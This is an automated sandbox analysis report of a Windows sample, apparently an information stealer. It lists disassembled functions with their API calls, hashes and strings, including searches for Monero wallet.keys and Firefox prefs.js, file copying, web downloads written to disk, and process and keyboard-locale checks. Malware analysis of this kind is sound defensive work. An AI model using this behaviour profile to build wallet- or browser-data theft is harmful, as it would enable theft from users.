Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 60fbc213ce163f8ec6307917068aa610f6dcaf801e79276d5e2f9e1a5422f973
Instruction ID: ded81f6cc28c766bbfb031ecf4eea7c836cba6646192b13ac5f5ec54b072e942
Opcode Fuzzy Hash: 60fbc213ce163f8ec6307917068aa610f6dcaf801e79276d5e2f9e1a5422f973
Instruction Fuzzy Hash: 245135B2900218EBCB24EBB0EC85EEA777CBF44700F404699B65997044DB75EBC99F91

Function 00F1F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00F315B8,00F30D96), ref: 00F1F71E
StrCmpCA.SHLWAPI(?,00F315BC), ref: 00F1F76F
StrCmpCA.SHLWAPI(?,00F315C0), ref: 00F1F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00F1FAB1
FindClose.KERNEL32(000000FF), ref: 00F1FAC3

Strings

prefs.js, xrefs: 00F1F812

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 97c5481ca4b55f0e1eaad0179fe9f83cb92f0285441c92b03ec58add6d7e954d
Instruction ID: 54edc90e119e0c069d0a14b0bbc044fd456b6cadfb7c9d68ea1bbc38065e1e70
Opcode Fuzzy Hash: 97c5481ca4b55f0e1eaad0179fe9f83cb92f0285441c92b03ec58add6d7e954d
Instruction Fuzzy Hash: CCB139719001189BDB24FF60EC56FED7379AF54300F4085A8E50A9B185EF396B89EF92

Function 00F116D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00F3510C,?,?,?,00F351B4,?,?,00000000,?,00000000), ref: 00F11923
StrCmpCA.SHLWAPI(?,00F3525C), ref: 00F11973
StrCmpCA.SHLWAPI(?,00F35304), ref: 00F11989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F11D40
DeleteFileA.KERNEL32(00000000), ref: 00F11DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00F11E20
FindClose.KERNEL32(000000FF), ref: 00F11E32

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Strings

\*.*, xrefs: 00F117F1

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: cbfdf1f205734f44a0df26d4daa0cbea3a5758c2cec20e07c6eabd8847226c68
Instruction ID: 8b3d378a17614f1af3aedd45c3c2dbca0ecd04d89ab5a5d8ec6fb34cba72c7a4
Opcode Fuzzy Hash: cbfdf1f205734f44a0df26d4daa0cbea3a5758c2cec20e07c6eabd8847226c68
Instruction Fuzzy Hash: 3812E3719101289BDB19FB60EC96EEE7378BF54300F404599F50A66091EF386F89EF91

Function 00F1DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00F314B0,00F30C2A), ref: 00F1DAEB
StrCmpCA.SHLWAPI(?,00F314B4), ref: 00F1DB33
StrCmpCA.SHLWAPI(?,00F314B8), ref: 00F1DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00F1DDCC
FindClose.KERNEL32(000000FF), ref: 00F1DDDE

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 618ddcc915a33fdcd45ffbfbac2874f52d8435094f17cdbf3a90c8e2b381008f
Instruction ID: fcb3411250c0296cd7eae47be655ff2f2e86e1a798e431466d3ab131f31641d9
Opcode Fuzzy Hash: 618ddcc915a33fdcd45ffbfbac2874f52d8435094f17cdbf3a90c8e2b381008f
Instruction Fuzzy Hash: 589104729002189BCB14FB70FC569ED777DAF88300F408668F91A96185FF389B59DB92

Function 00F160A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Part of subcall function 00F147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F14839
Part of subcall function 00F147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F14849

InternetOpenA.WININET(00F30DF7,00000001,00000000,00000000,00000000), ref: 00F1610F
StrCmpCA.SHLWAPI(?,0089E4C0), ref: 00F16147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00F1618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00F161B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00F161DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00F1620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00F16249
InternetCloseHandle.WININET(?), ref: 00F16253
InternetCloseHandle.WININET(00000000), ref: 00F16260

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: ca8a93fa4b5eb938b9e204f15bec87599e35fb49dcd5bef1b141d8df142c47bb
Instruction ID: 05ef761e851024d04289da9987899f2026f8718657ae22fa054b0716184a55db
Opcode Fuzzy Hash: ca8a93fa4b5eb938b9e204f15bec87599e35fb49dcd5bef1b141d8df142c47bb
Instruction Fuzzy Hash: 0C517CB1940218ABDF24DFA0EC45BEE77B8EF04701F1081A8A606A71C0DB756AC5DF95

Function 00F27B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

GetKeyboardLayoutList.USER32(00000000,00000000,00F305AF), ref: 00F27BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00F27BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00F27C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00F27C62
LocalFree.KERNEL32(00000000), ref: 00F27D22

Strings

/ , xrefs: 00F27C7F

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 838f9c7dfcdb21ff5066c0f85e5c1342a5cb47cd755c6a691295e5d80da02928
Instruction ID: e94fa0e4451ad3292352bcb677c695e3f5e58d25fb4c3466bfe6dfbe52e456aa
Opcode Fuzzy Hash: 838f9c7dfcdb21ff5066c0f85e5c1342a5cb47cd755c6a691295e5d80da02928
Instruction Fuzzy Hash: 6B414F71941228ABDB24EB54EC99BEEB774FF44700F2041D9E10966281DB386F85DFA1

Function 00F1E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00F30D73), ref: 00F1E4A2
StrCmpCA.SHLWAPI(?,00F314F8), ref: 00F1E4F2
StrCmpCA.SHLWAPI(?,00F314FC), ref: 00F1E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00F1EBDF

Strings

\*.*, xrefs: 00F1E44D

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 527f1638553d83542f9f08c73df0d2a1634675aa32c2de6bbaf1dc381fd28533
Instruction ID: 87d5740c10c87f89118bac9aa86dcf5f09a87bf2029df3b24fa8fd5106fe6d9f
Opcode Fuzzy Hash: 527f1638553d83542f9f08c73df0d2a1634675aa32c2de6bbaf1dc381fd28533
Instruction Fuzzy Hash: 391237719101289BDB14FB70ECA6EED7379AF54300F4045A9F50A96091EF386F89EF92

Function 00F29600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00F2961E
Process32First.KERNEL32(00F30ACA,00000128), ref: 00F29632
Process32Next.KERNEL32(00F30ACA,00000128), ref: 00F29647
StrCmpCA.SHLWAPI(?,00000000), ref: 00F2965C
CloseHandle.KERNEL32(00F30ACA), ref: 00F2967A

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
